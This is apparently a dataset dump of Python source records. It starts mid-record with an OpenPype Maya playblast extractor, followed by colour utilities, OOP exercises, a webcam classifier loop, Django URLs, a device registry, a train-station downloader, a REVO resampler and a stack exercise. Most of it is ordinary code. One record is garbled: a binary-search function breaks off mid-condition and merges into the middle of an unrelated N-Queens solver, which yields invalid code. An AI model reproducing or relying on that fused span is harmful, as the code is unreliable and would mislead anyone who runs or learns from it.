Playblast\"\n hosts = [\"maya\"]\n families = [\"review\"]\n optional = True\n capture_preset = {}\n\n def process(self, instance):\n self.log.info(\"Extracting capture..\")\n\n # get scene fps\n fps = instance.data.get(\"fps\") or instance.context.data.get(\"fps\")\n\n # if start and end frames cannot be determined, get them\n # from Maya timeline\n start = instance.data.get(\"frameStartFtrack\")\n end = instance.data.get(\"frameEndFtrack\")\n if start is None:\n start = cmds.playbackOptions(query=True, animationStartTime=True)\n if end is None:\n end = cmds.playbackOptions(query=True, animationEndTime=True)\n\n self.log.info(\"start: {}, end: {}\".format(start, end))\n\n # get cameras\n camera = instance.data['review_camera']\n\n override_viewport_options = (\n self.capture_preset['Viewport Options']\n ['override_viewport_options']\n )\n preset = lib.load_capture_preset(data=self.capture_preset)\n # Grab capture presets from the project settings\n capture_presets = self.capture_preset\n # Set resolution variables from capture presets\n width_preset = capture_presets[\"Resolution\"][\"width\"]\n height_preset = capture_presets[\"Resolution\"][\"height\"]\n # Set resolution variables from asset values\n asset_data = instance.data[\"assetEntity\"][\"data\"]\n asset_width = asset_data.get(\"resolutionWidth\")\n asset_height = asset_data.get(\"resolutionHeight\")\n review_instance_width = instance.data.get(\"review_width\")\n review_instance_height = instance.data.get(\"review_height\")\n preset['camera'] = camera\n\n # Tests if project resolution is set,\n # if it is a value other than zero, that value is\n # used, if not then the asset resolution is\n # used\n if review_instance_width and review_instance_height:\n preset['width'] = review_instance_width\n preset['height'] = review_instance_height\n elif width_preset and height_preset:\n preset['width'] = width_preset\n preset['height'] = height_preset\n elif asset_width and asset_height:\n preset['width'] = asset_width\n preset['height'] = asset_height\n preset['start_frame'] = start\n preset['end_frame'] = end\n\n # Enforce persisting camera depth of field\n camera_options = preset.setdefault(\"camera_options\", {})\n camera_options[\"depthOfField\"] = cmds.getAttr(\n \"{0}.depthOfField\".format(camera))\n\n stagingdir = self.staging_dir(instance)\n filename = \"{0}\".format(instance.name)\n path = os.path.join(stagingdir, filename)\n\n self.log.info(\"Outputting images to %s\" % path)\n\n preset['filename'] = path\n preset['overwrite'] = True\n\n pm.refresh(f=True)\n\n refreshFrameInt = int(pm.playbackOptions(q=True, minTime=True))\n pm.currentTime(refreshFrameInt - 1, edit=True)\n pm.currentTime(refreshFrameInt, edit=True)\n\n # Override transparency if requested.\n transparency = instance.data.get(\"transparency\", 0)\n if transparency != 0:\n preset[\"viewport2_options\"][\"transparencyAlgorithm\"] = transparency\n\n # Isolate view is requested by having objects in the set besides a\n # camera.\n if preset.pop(\"isolate_view\", False) and instance.data.get(\"isolate\"):\n preset[\"isolate\"] = instance.data[\"setMembers\"]\n\n # Show/Hide image planes on request.\n image_plane = instance.data.get(\"imagePlane\", True)\n if \"viewport_options\" in preset:\n preset[\"viewport_options\"][\"imagePlane\"] = image_plane\n else:\n preset[\"viewport_options\"] = {\"imagePlane\": image_plane}\n\n # Disable Pan/Zoom.\n pan_zoom = cmds.getAttr(\"{}.panZoomEnabled\".format(preset[\"camera\"]))\n cmds.setAttr(\"{}.panZoomEnabled\".format(preset[\"camera\"]), False)\n\n with lib.maintained_time():\n filename = preset.get(\"filename\", \"%TEMP%\")\n\n # Force viewer to False in call to capture because we have our own\n # viewer opening call to allow a signal to trigger between\n # playblast and viewer\n preset['viewer'] = False\n\n self.log.info('using viewport preset: {}'.format(preset))\n\n # Update preset with current panel setting\n # if override_viewport_options is turned off\n if not override_viewport_options:\n panel = cmds.getPanel(withFocus=True)\n panel_preset = capture.parse_active_view()\n preset.update(panel_preset)\n cmds.setFocus(panel)\n\n path = capture.capture(log=self.log, **preset)\n\n cmds.setAttr(\"{}.panZoomEnabled\".format(preset[\"camera\"]), pan_zoom)\n\n self.log.debug(\"playblast path {}\".format(path))\n\n collected_files = os.listdir(stagingdir)\n patterns = [clique.PATTERNS[\"frames\"]]\n collections, remainder = clique.assemble(collected_files,\n minimum_items=1,\n patterns=patterns)\n\n self.log.debug(\"filename {}\".format(filename))\n frame_collection = None\n for collection in collections:\n filebase = collection.format('{head}').rstrip(\".\")\n self.log.debug(\"collection head {}\".format(filebase))\n if filebase in filename:\n frame_collection = collection\n self.log.info(\n \"we found collection of interest {}\".format(\n str(frame_collection)))\n\n if \"representations\" not in instance.data:\n instance.data[\"representations\"] = []\n\n tags = [\"review\"]\n if not instance.data.get(\"keepImages\"):\n tags.append(\"delete\")\n\n # Add camera node name to representation data\n camera_node_name = pm.ls(camera)[0].getTransform().name()\n\n collected_files = list(frame_collection)\n # single frame file shouldn't be in list, only as a string\n if len(collected_files) == 1:\n collected_files = collected_files[0]\n\n representation = {\n 'name': 'png',\n 'ext': 'png',\n 'files': collected_files,\n \"stagingDir\": stagingdir,\n \"frameStart\": start,\n \"frameEnd\": end,\n 'fps': fps,\n 'preview': True,\n 'tags': tags,\n 'camera_name': camera_node_name\n }\n instance.data[\"representations\"].append(representation)\n","sub_path":"openpype/hosts/maya/plugins/publish/extract_playblast.py","file_name":"extract_playblast.py","file_ext":"py","file_size_in_byte":7062,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"182532534","text":"\"\"\"\nFor converting colours between rgb and hsl\n\"\"\"\n\nimport logging\nfrom math import floor\n\n__author__ = 'Yu Lee Paul (Little Fish Solutions LTD)'\n\nlog = logging.getLogger(__name__)\n\n\ndef rgb_to_hsl(r, g, b):\n \"\"\"\n Converts an RGB color value to HSL.\n :param r: The red color value\n :param g: The green color value\n :param b: The blue color value\n :return: The HSL representation\n \"\"\"\n r = float(r) / 255.0\n g = float(g) / 255.0\n b = float(b) / 255.0\n\n max_value = max(r, g, b)\n min_value = min(r, g, b)\n\n h = None\n s = None\n l = (max_value + min_value) / 2\n d = max_value - min_value\n\n if d == 0:\n # achromatic\n h = 0\n s = 0\n else:\n s = d / (1 - abs(2 * l - 1))\n\n if r == max_value:\n h = 60 * ((g - b) % 6)\n if b > g:\n h += 360\n if g == max_value:\n h = 60 * ((b - r) / d + 2)\n if b == max_value:\n h = 60 * ((r - g) / d + 4)\n\n return round(h, 2), round(s, 2), round(l, 2)\n\n\ndef hsl_to_rgb(h, s, l):\n h = float(h)\n s = float(s)\n l = float(l)\n\n c = (1 - abs(2 * l - 1)) * s\n mod = (h / 60.0) % 2\n x = c * (1 - abs(mod - 1))\n m = l - (c / 2)\n\n if h < 60:\n r = c\n g = x\n b = 0\n elif h < 120:\n r = x\n g = c\n b = 0\n elif h < 180:\n r = 0\n g = c\n b = x\n elif h < 240:\n r = 0\n g = x\n b = c\n elif h < 300:\n r = x\n g = 0\n b = c\n else:\n r = c\n g = 0\n b = x\n\n r = (r + m) * 255\n g = (g + m) * 255\n b = (b + m) * 255\n\n return floor(r), floor(g), floor(b)\n\n\ndef html_color_to_rgba(html_colour, alpha):\n \"\"\"\n :param html_colour: Colour string like FF0088\n :param alpha: Alpha value (opacity)\n :return: RGBA semitransparent version of colour for use in css\n \"\"\"\n html_colour = html_colour.upper()\n if html_colour[0] == '#':\n html_colour = html_colour[1:]\n\n r_str = html_colour[0:2]\n g_str = html_colour[2:4]\n b_str = html_colour[4:6]\n\n r = int(r_str, 16)\n g = int(g_str, 16)\n b = int(b_str, 16)\n\n return 'rgba(%s, %s, %s, %s)' % (r, g, b, alpha)\n\n\ndef blend_html_colour_to_white(html_colour, alpha):\n \"\"\"\n :param html_colour: Colour string like FF552B or #334455\n :param alpha: Alpha value\n :return: Html colour alpha blended onto white\n \"\"\"\n html_colour = html_colour.upper()\n has_hash = False\n if html_colour[0] == '#':\n has_hash = True\n html_colour = html_colour[1:]\n\n r_str = html_colour[0:2]\n g_str = html_colour[2:4]\n b_str = html_colour[4:6]\n\n r = int(r_str, 16)\n g = int(g_str, 16)\n b = int(b_str, 16)\n\n r = int(alpha * r + (1 - alpha) * 255)\n g = int(alpha * g + (1 - alpha) * 255)\n b = int(alpha * b + (1 - alpha) * 255)\n \n out = '{:02X}{:02X}{:02X}'.format(r, g, b)\n if has_hash:\n out = '#' + out\n\n return out\n\n\n","sub_path":"littlefish/colourutil.py","file_name":"colourutil.py","file_ext":"py","file_size_in_byte":2980,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"312549236","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\n# __author__ = \"Lex\"\n# Date: 2017/11/14\n\n#老师、学生与课程\n#老师、学生与生日\n#学生与分数\n\nclass Teacher:\n def __init__(self,name,course,birthday):\n self.name = name\n self.course = course\n self.birthday = birthday\n\nclass Student:\n def __init__(self,name,course,birthday,score):\n self.name = name\n self.course = course\n self.birthday = birthday\n self.score = score\n\nclass Course:\n def __init__(self,name):\n self.name = name\n\nclass Birthday:\n def __init__(self,date):\n self.date = date\n\nclass Score:\n def __init__(self,grade):\n self.grade = grade\n\nCourse_obj = Course('python')\nBirthday_obj = Birthday('2012-12-12')\nScore_obj = Score(100)\n\ns1 = Student('lex',Course_obj,Birthday_obj,Score_obj)\nprint(s1.course.name)\nprint(s1.birthday.date)\nprint(s1.score.grade)\n\n\n","sub_path":"模块4随堂作业/组合/组合.py","file_name":"组合.py","file_ext":"py","file_size_in_byte":914,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"367083842","text":"# coding: utf-8\nimport sys\nimport os\nimport numpy as np\nimport cv2\nsys.path.append(os.pardir)\nfrom main.finger_detect_conv_net import DeepConvNet\n\nnetwork = DeepConvNet()\n\n# parameters load\nnetwork.load_params(\"deep_convnet_params.pkl\")\nprint(\"Finished loading pkl\")\n\ncap = cv2.VideoCapture(0)\n\nwhile True:\n ref, frame = cap.read()\n img = cv2.resize(frame, (320, 180))\n x = np.array(img).reshape(1, 3, 180, 320)\n y = network.predict(x)\n res = np.argmax(y)\n print(str(res + 1))\n cv2.imshow('Raw Frame', frame)\n k = cv2.waitKey(1)\n if k == 27:\n break\n\ncap.release()\ncv2.destroyAllWindows()\n","sub_path":"main/realtime_cam_detection.py","file_name":"realtime_cam_detection.py","file_ext":"py","file_size_in_byte":622,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"620121277","text":"def Binary_search(data,list):\n min=0\n max=len(list)-1\n mid=int((min+max)/2)\n \n while(min<=max):\n mid=int((min+max)/2)\n if(list[mid]==data):\n return True\n if (data= 0 and j >= 0:\n if board[i][j]:\n return False\n i -= 1\n j -= 1\n\n \"\"\" Check lower diagonal on left side \"\"\"\n i = row\n j = col\n while j >= 0 and i < size_n:\n if board[i][j]:\n return False\n i = i + 1\n j = j - 1\n\n return True\n\n ''' A recursive function'''\n def solveNQUtil(board, col):\n\n ''' base case: If all queens are placed\n then return true '''\n if col == size_n:\n printSolution(board)\n return True\n\n ''' Consider this column and try placing\n this queen in all rows one by one '''\n res = False\n for i in range(size_n):\n\n ''' Check if queen can be placed on\n board[i][col] '''\n if (isSafe(board, i, col)):\n\n \"\"\" Place this queen in board[i][col] \"\"\"\n board[i][col] = 1\n\n \"\"\" Make result true if any placement\n is possible \"\"\"\n res = solveNQUtil(board, col + 1) or res\n\n \"\"\" If placing queen in board[i][col]\n doesn't lead to a solution, then\n remove queen from board[i][col] \"\"\"\n board[i][col] = 0\n \"\"\" BACKTRACK \"\"\"\n\n \"\"\" if queen can not be place in any row in\n this column col then return false \"\"\"\n return res\n\n def solveNQ():\n \"\"\" This function solves the N Queen problem using\n Backtracking.\"\"\"\n\n board = [[0 for j in range(27)]\n for i in range(27)]\n\n solveNQUtil(board, 0)\n return\n\n \"\"\" Code execution \"\"\"\n solveNQ()\n","sub_path":"0x08-python-more_classes/101-nqueens.py","file_name":"101-nqueens.py","file_ext":"py","file_size_in_byte":2713,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"13202759","text":"from django.conf.urls import include, url\nfrom django.contrib import admin\n\nurlpatterns = [\n # API urls\n url(r'^cutline/api/v1/', include('cutline_api.urls')),\n url(r'^admin/', admin.site.urls),\n\n # App urls\n url(r'^cutline/', include('cutline_app.urls')),\n]\n","sub_path":"cutline/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":274,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"644537109","text":"import threading\nfrom termcolor import cprint\nfrom collections import defaultdict\n\nglobal Dev\nglobal DevList\nglobal HomeDevice\n\nDeviceByName = {}\nDevList = []\nDev = defaultdict(dict)\nModlist = {}\nDeviceByRoom = {}\n\nFuncDiscover = []\nFuncReadSettings = []\nFuncStartup = []\nFuncShutdown = []\nSettingsLock = threading.RLock()\n\ndef addDiscover(func):\n FuncDiscover.append(func)\n\ndef addReadSettings(func):\n FuncReadSettings.append(func)\n\ndef addStartup(func):\n FuncStartup.append(func)\n\ndef addShutdown(func):\n FuncShutdown.append(func)\n\ndef addRoom(device,name):\n DeviceByRoom[device] = name\n\ndef setHome(device):\n DeviceByRoom['House'] = device\n\ndef discover (settings,timeout,listen,broadcast):\n for func in FuncDiscover:\n func(settings,timeout,listen,broadcast)\n\ndef readSettings (settings,devname):\n for func in FuncReadSettings:\n retvalue = func(settings,devname)\n if retvalue is not False:\n return retvalue\n cprint (\"I don't know the type of device for %s\" % devname,\"yellow\")\n\ndef dumpDevices():\n retval = '''{\\n\\t\"ok\": \"deviceList\"'''\n with SettingsLock:\n for devicename,info in Dev.items():\n if 'Comment' not in info:\n comment = 'Unknown'\n else:\n comment = info['Comment']\n retval += ''',\\n\\t\"%s\": \"%s\"''' % (devicename, comment)\n retval += '''\\n}'''\n return retval\n\ndef dumpRooms():\n retval = '''{\\n\\t\"ok\": \"%s\"''' % DeviceByRoom['House']\n with SettingsLock:\n for devicename,roomname in DeviceByRoom.items():\n if devicename == 'House':\n continue\n retval += ''',\\n\\t\"%s\": \"%s\"''' % (devicename,roomname)\n retval += '''\\n}'''\n return retval\n\n#- These commands work as follows\n#- The startup callback below is sent to all devices that want it\n#- Any \"StartupCommand\" registered in the settings file is done next\n#- During a reload or shutdown, a \"Shutdown\" command is sent before\n#- the 20 second shutdown delay.\n#- On a reload, the startup callback is done again, as is any\n#- StartupCommand. \n#- Only on final shutdown is the shutdown callback made\n\ndef startUp(globalSet,globalGet,globalSend):\n for func in FuncStartup:\n func(globalSet,globalGet,globalSend)\n\ndef shutDown(globalSet,globalGet):\n for func in FuncShutdown:\n func(globalSet,globalGet)\n\n","sub_path":"devices.py","file_name":"devices.py","file_ext":"py","file_size_in_byte":2374,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"101547660","text":"#!/usr/bin/python\n# coding=utf-8\nimport json\nimport requests\n\ndef station_name():\n image_url = \"https://kyfw.12306.cn/otn/resources/js/framework/station_name.js\"\n r = requests.get(image_url)\n with open(\"station_name.js\", 'wb') as f:\n f.write(r.content)\n\n f = open('station_name.js', 'r')\n # print(f)\n line = f.readline()\n # print(line)\n station_list = line.split(\"'\")[1].split('|')\n stations = []\n station_dict = {}\n for i in range(0, len(station_list) - 1, 5):\n tmp = []\n for j in range(5):\n tmp.append(station_list[i + j])\n stations.append(tmp)\n station_dict[tmp[1]] = tmp[2]\n\n with open(\"stations.json\", \"w\") as f:\n json.dump(station_dict, f, ensure_ascii=False, indent=4)\n print(\"加载入文件完成...\")\n\n\nif __name__ == '__main__':\n station_name()\n","sub_path":"src/get_stations.py","file_name":"get_stations.py","file_ext":"py","file_size_in_byte":855,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"448346114","text":"#oop yokk\nclass Student:\n def __init__(self, name, age, grade):\n self.name = name\n self.age = age\n self.grade =grade\n\n def get_grade(self):\n return self.grade\n \nclass Course:\n def __init__(self, name, max_students):\n self.name = name\n self.max_students = max_students\n self.students = []\n \n def add_student(self, student):\n if len(self.students) < self.max_students:\n self.students.append(student) \n return True\n return False\n\n def get_average_grade(self):\n value = 0\n for student in self.students:\n value += student.get_grade()\n\n return value / len(self.students) \n\nsiswa1 = Student(\"nopal\", 17, 100)\nsiswa2 = Student(\"yugo\", 17, 50)\nsiswa3 = Student(\"fina\", 18, 100)\nsiswa4 = Student(\"robert\", 20, 65)\nsiswa5 = Student(\"minke\", 20, 99)\n\nIPA = Course(\"science\", 5)\nIPA.add_student(siswa1)\nIPA.add_student(siswa2)\nIPA.add_student(siswa3)\nIPA.add_student(siswa4)\nIPA.add_student(siswa5)\n\nprint(IPA.students[0].name)\nprint(IPA.get_average_grade())\nprint(len(IPA.students))\n\n","sub_path":"pythonfold/oop.py","file_name":"oop.py","file_ext":"py","file_size_in_byte":1121,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"306863427","text":"\"\"\"\nFor listas\n\"\"\"\n\ndef forList():\n for x in [1,2,3,4,5]:\n print(x)\n for x in [\"uno\",\"dos\",\"tres\", \"cuatro\", \"cinco\"]:\n print(x)\n\n\"\"\"\nFor rangos\n\"\"\"\n\ndef forrange():\n for x in range(5):\n print(x)\n for y in range(-3,3):\n print(y)\n for z in range(-4, 2, 2):\n print(z) \n for i in range(5,0,-1):\n print(i) \n \n\"\"\"\nFor diccionarios\n\"\"\"\n\ndef fordic():\n diccionario = {'camisa': 1, 'pantalon' : 3, 'tenis': 10}\n for clave, valor in diccionario.items():\n print(clave,\"=\",valor)\n\n for clave in diccionario.keys():\n print(clave)\n\n for valor in diccionario.values():\n print(valor)\n \n for idx,x in enumerate(diccionario):\n print(\"El indice {} del elemento {}\".format(idx,x))\n\n\n\ndef elsefor():\n for x in range(5):\n print(x)\n else:\n print(\"Se acabo\")\n\ndef elsefor2():\n for x in range(5):\n print(x)\n if x==2:\n break\n else:\n print(\"La cuenta termino\")\n\nif __name__ == '__main__':\n fordic()","sub_path":"for.py","file_name":"for.py","file_ext":"py","file_size_in_byte":1051,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"427254430","text":"import multiprocessing as mulproc\nimport random as rand\nimport itertools as it\nimport logging\n\nimport numpy as np\n\nfrom wepy.resampling.resamplers.resampler import Resampler\nfrom wepy.resampling.decisions.clone_merge import MultiCloneMergeDecision\n\nclass REVOResampler(Resampler):\n \"\"\" \"\"\"\n\n DECISION = MultiCloneMergeDecision\n\n # state change data for the resampler\n RESAMPLER_FIELDS = ('n_walkers', 'distance_matrix', 'spread', 'image_shape', 'images')\n RESAMPLER_SHAPES = ((1,), Ellipsis, (1,), Ellipsis, Ellipsis)\n RESAMPLER_DTYPES = (np.int, np.float, np.float, np.int, None)\n\n # fields that can be used for a table like representation\n RESAMPLER_RECORD_FIELDS = ('spread',)\n\n # fields for resampling data\n RESAMPLING_FIELDS = DECISION.FIELDS + ('step_idx', 'walker_idx',)\n RESAMPLING_SHAPES = DECISION.SHAPES + ((1,), (1,),)\n RESAMPLING_DTYPES = DECISION.DTYPES + (np.int, np.int,)\n\n # fields that can be used for a table like representation\n RESAMPLING_RECORD_FIELDS = DECISION.RECORD_FIELDS + ('step_idx', 'walker_idx',)\n\n\n def __init__(self, seed=None, pmin=1e-12, pmax=0.1, dpower=4, merge_dist=2.5,\n d0=None, distance=None, init_state=None, weights=True):\n\n self.decision = self.DECISION\n\n # the minimum probability for a walker\n self.pmin=pmin\n # ln(probability_min)\n self.lpmin = np.log(pmin/100)\n\n # maximum probability for a walker\n self.pmax=pmax\n\n #\n self.dpower = dpower\n\n #\n self.merge_dist = merge_dist\n\n # the distance metric\n assert distance is not None, \"Must give a distance metric class\"\n self.distance = distance\n\n # the characteristic distance, d0\n assert d0 is not None, \"Must give a d0 value (characteristic distance)\"\n self.d0 = d0\n\n # setting the random seed\n self.seed = seed\n if seed is not None:\n rand.seed(seed)\n\n # setting the weights parameter\n self.weights = weights\n\n # we do not know the shape and dtype of the images until\n # runtime so we determine them here\n assert init_state is not None, \"must give an initial state to infer data about the image\"\n image = self.distance.image(init_state)\n self.image_dtype = image.dtype\n\n # we need this to on the fly find out what the datatype of the\n # image is\n def resampler_field_dtypes(self):\n \"\"\" \"\"\"\n\n # index of the image idx\n image_idx = self.resampler_field_names().index('images')\n\n # dtypes adding the image dtype\n dtypes = list(super().resampler_field_dtypes())\n dtypes[image_idx] = self.image_dtype\n\n return tuple(dtypes)\n\n def _calcspread(self, walkerwt, amp, distance_matrix):\n \"\"\"\n\n Parameters\n ----------\n walkerwt :\n \n amp :\n \n distance_matrix :\n \n\n Returns\n -------\n\n \"\"\"\n\n n_walkers = len(walkerwt)\n # the value to be optimized\n spread = 0\n\n #\n wsum = np.zeros(n_walkers)\n\n # weight factors for the walkers\n wtfac = np.zeros(n_walkers)\n\n # set the weight factors\n for i in range(n_walkers):\n\n if walkerwt[i] > 0 and amp[i] > 0:\n if self.weights:\n wtfac[i] = np.log(walkerwt[i]/amp[i]) - self.lpmin\n else:\n wtfac[i] = 1\n\n else:\n wtfac[i] = 0\n\n if wtfac[i] < 0:\n wtfac[i] = 0\n\n #\n for i in range(n_walkers - 1):\n if amp[i] > 0:\n for j in range(i+1, n_walkers):\n if amp[j] > 0:\n d = ((distance_matrix[i][j]/self.d0)**self.dpower) * wtfac[i] * wtfac[j]\n spread += d * amp[i] * amp[j]\n wsum[i] += d * amp[j]\n wsum[j] += d * amp[i]\n\n # another implementation for personal clarity\n # for i, j in it.combinations(range(len(n_walkers)), 2):\n # if amp[i] > 0 and amp[j] > 0:\n # d = ((distance_matrix[i][j])**self.dpower) * wtfac[i] * wtfac[j]\n # spread += d * amp[i] * amp[j]\n # wsum[i] = += d * amp[j]\n # wsum[j] += d * amp[i]\n\n return spread, wsum\n\n def decide_clone_merge(self, walkerwt, amp, distance_matrix):\n \"\"\"\n\n Parameters\n ----------\n walkerwt :\n \n amp :\n \n distance_matrix :\n \n\n Returns\n -------\n\n \"\"\"\n\n n_walkers = len(walkerwt)\n\n spreads = []\n merge_groups = [[] for i in range(n_walkers)]\n walker_clone_nums = [0 for i in range(n_walkers)]\n\n new_wt = walkerwt.copy()\n new_amp = amp.copy()\n # initialize the actions to nothing, will be overwritten\n\n # calculate the initial spread which will be optimized\n spread, wsum = self._calcspread(walkerwt, new_amp, distance_matrix)\n spreads.append(spread)\n\n # maximize the variance through cloning and merging\n logging.info(\"Starting variance optimization:\", spread)\n\n productive = True\n while productive:\n productive = False\n # find min and max wsums, alter new_amp\n\n # initialize to None, we may not find one of each\n minwind = None\n maxwind = None\n\n # selects a walker with minimum wsum and a walker with\n # maximum wsum walker (distance to other walkers) will be\n # tagged for cloning (stored in maxwind), except if it is\n # already a keep merge target\n max_tups = []\n for i, value in enumerate(wsum):\n # 1. must have an amp >=1 which gives the number of clones to be made of it\n # 2. clones for the given amplitude must not be smaller than the minimum probability\n # 3. must not already be a keep merge target\n if (new_amp[i] >= 1) and \\\n (new_wt[i]/(new_amp[i] + 1) > self.pmin) and \\\n (len(merge_groups[i]) == 0):\n max_tups.append((value, i))\n\n\n if len(max_tups) > 0:\n maxvalue, maxwind = max(max_tups)\n\n # walker with the lowest wsum (distance to other walkers)\n # will be tagged for merging (stored in minwind)\n min_tups = [(value, i) for i,value in enumerate(wsum)\n if new_amp[i] == 1 and (new_wt[i] < self.pmax)]\n\n if len(min_tups) > 0:\n minvalue, minwind = min(min_tups)\n\n # does minwind have an eligible merging partner?\n # closedist = self.merge_dist\n closewalk = None\n condition_list = np.array([i is not None for i in [minwind, maxwind]])\n if condition_list.all() and minwind != maxwind:\n\n # get the walkers that aren't the minimum and the max\n # wsum walkers, as candidates for merging\n closewalks = set(range(n_walkers)).difference([minwind, maxwind])\n\n # remove those walkers that if they were merged with\n # the min wsum walker would violate the pmax\n closewalks = [idx for idx in closewalks\n if (new_amp[idx]==1) and\n (new_wt[idx] + new_wt[minwind] < self.pmax)\n ]\n\n # if there are any walkers left, get the distances of\n # the close walkers to the min wsum walker if that\n # distance is less than the maximum merge distance\n if len(closewalks) > 0:\n closewalks_dists = [(distance_matrix[minwind][i], i) for i in closewalks\n if distance_matrix[minwind][i] < (self.merge_dist)]\n\n # if any were found set this as the closewalk\n if len(closewalks_dists) > 0:\n closedist, closewalk = min(closewalks_dists)\n\n\n # did we find a closewalk?\n condition_list = np.array([i is not None for i in [minwind, maxwind, closewalk]])\n if condition_list.all() :\n\n # change new_amp\n tempsum = new_wt[minwind] + new_wt[closewalk]\n new_amp[minwind] = new_wt[minwind]/tempsum\n new_amp[closewalk] = new_wt[closewalk]/tempsum\n new_amp[maxwind] += 1\n\n # re-determine spread function, and wsum values\n newspread, wsum = self._calcspread(new_wt, new_amp, distance_matrix)\n\n if newspread > spread:\n spreads.append(newspread)\n\n logging.info(\"Variance move to\", newspread, \"accepted\")\n\n productive = True\n spread = newspread\n\n # make a decision on which walker to keep\n # (minwind, or closewalk), equivalent to:\n # `random.choices([closewalk, minwind],\n # weights=[new_wt[closewalk], new_wt[minwind])`\n r = rand.uniform(0.0, new_wt[closewalk] + new_wt[minwind])\n\n # keeps closewalk and gets rid of minwind\n if r < new_wt[closewalk]:\n keep_idx = closewalk\n squash_idx = minwind\n\n # keep minwind, get rid of closewalk\n else:\n keep_idx = minwind\n squash_idx = closewalk\n\n # if keep_idx == maxwind:\n # import ipdb; ipdb.set_trace()\n\n # if len(merge_groups[maxwind]) > 0:\n # import ipdb; ipdb.set_trace()\n # print(\"Attempting to clone a walker which is a keep idx of a merge group\")\n\n # if walker_clone_nums[keep_idx] > 0:\n # import ipdb; ipdb.set_trace()\n # print(\"Attempting to merge a walker which is to be cloned\")\n\n # update weight\n new_wt[keep_idx] += new_wt[squash_idx]\n new_wt[squash_idx] = 0.0\n\n # update new_amps\n new_amp[squash_idx] = 0\n new_amp[keep_idx] = 1\n\n # add the squash index to the merge group\n merge_groups[keep_idx].append(squash_idx)\n\n # add the indices of the walkers that were already\n # in the merge group that was just squashed\n merge_groups[keep_idx].extend(merge_groups[squash_idx])\n\n # reset the merge group that was just squashed to empty\n merge_groups[squash_idx] = []\n\n # increase the number of clones that the cloned\n # walker has\n walker_clone_nums[maxwind] += 1\n\n # new spread for starting new stage\n newspread, wsum = self._calcspread(new_wt, new_amp, distance_matrix)\n spreads.append(newspread)\n\n logging.info(\"variance after selection:\", newspread)\n\n # if not productive\n else:\n new_amp[minwind] = 1\n new_amp[closewalk] = 1\n new_amp[maxwind] -= 1\n\n # given we know what we want to clone to specific slots\n # (squashing other walkers) we need to determine where these\n # squashed walkers will be merged\n walker_actions = self.assign_clones(merge_groups, walker_clone_nums)\n\n # because there is only one step in resampling here we just\n # add another field for the step as 0 and add the walker index\n # to its record as well\n for walker_idx, walker_record in enumerate(walker_actions):\n walker_record['step_idx'] = np.array([0])\n walker_record['walker_idx'] = np.array([walker_idx])\n\n return walker_actions, spreads[-1]\n\n def _all_to_all_distance(self, walkers):\n \"\"\"\n\n Parameters\n ----------\n walkers :\n \n\n Returns\n -------\n\n \"\"\"\n # initialize an all-to-all matrix, with 0.0 for self distances\n dist_mat = np.zeros((len(walkers), len(walkers)))\n\n # make images for all the walker states for us to compute distances on\n images = []\n for walker in walkers:\n image = self.distance.image(walker.state)\n images.append(image)\n\n # get the combinations of indices for all walker pairs\n for i, j in it.combinations(range(len(images)), 2):\n\n # calculate the distance between the two walkers\n dist = self.distance.image_distance(images[i], images[j])\n\n # save this in the matrix in both spots\n dist_mat[i][j] = dist\n dist_mat[j][i] = dist\n\n return [walker_dists for walker_dists in dist_mat], images\n\n def resample(self, walkers):\n \"\"\"\n\n Parameters\n ----------\n walkers :\n \n\n Returns\n -------\n\n \"\"\"\n\n n_walkers = len(walkers)\n walkerwt = [walker.weight for walker in walkers]\n amp = [1 for i in range(n_walkers)]\n\n # calculate distance matrix\n distance_matrix, images = self._all_to_all_distance(walkers)\n\n logging.info(\"distance_matrix\")\n logging.info(np.array(distance_matrix))\n\n # determine cloning and merging actions to be performed, by\n # maximizing the spread, i.e. the Decider\n resampling_data, spread = self.decide_clone_merge(walkerwt, amp, distance_matrix)\n\n # convert the target idxs and decision_id to feature vector arrays\n for record in resampling_data:\n record['target_idxs'] = np.array(record['target_idxs'])\n record['decision_id'] = np.array([record['decision_id']])\n\n # actually do the cloning and merging of the walkers\n resampled_walkers = self.decision.action(walkers, [resampling_data])\n # flatten the distance matrix and give the number of walkers\n # as well for the resampler data, there is just one per cycle\n resampler_data = [{'distance_matrix' : np.ravel(np.array(distance_matrix)),\n 'n_walkers' : np.array([len(walkers)]),\n 'spread' : np.array([spread]),\n 'images' : np.ravel(np.array(images)),\n 'image_shape' : np.array(images[0].shape)}]\n\n return resampled_walkers, resampling_data, resampler_data\n","sub_path":"wepy/resampling/resamplers/revo.py","file_name":"revo.py","file_ext":"py","file_size_in_byte":14868,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"307993335","text":"def list_rev_fun(n):\r\n class stack:\r\n def __init__(self):\r\n self.__stack_list = []\r\n \r\n def push(self,val):\r\n self.__stack_list.append((val))\r\n \r\n def pop(self):\r\n value = self.__stack_list[-1]\r\n del self.__stack_list[-1]\r\n return value\r\n \r\n\r\n stack_object = stack()\r\n stack_object_1 = stack()\r\n\r\n for i in range(n):\r\n i = input(\"entre a element of the list: \")\r\n stack_object.push(i)\r\n print(stack_object._stack__stack_list) \r\n \r\n\r\n for i in range(n):\r\n stack_object_1.push(stack_object.pop())\r\n\r\n print(stack_object_1._stack__stack_list)\r\n\r\n\r\nn = int(input(\"entre a number of element that you want to 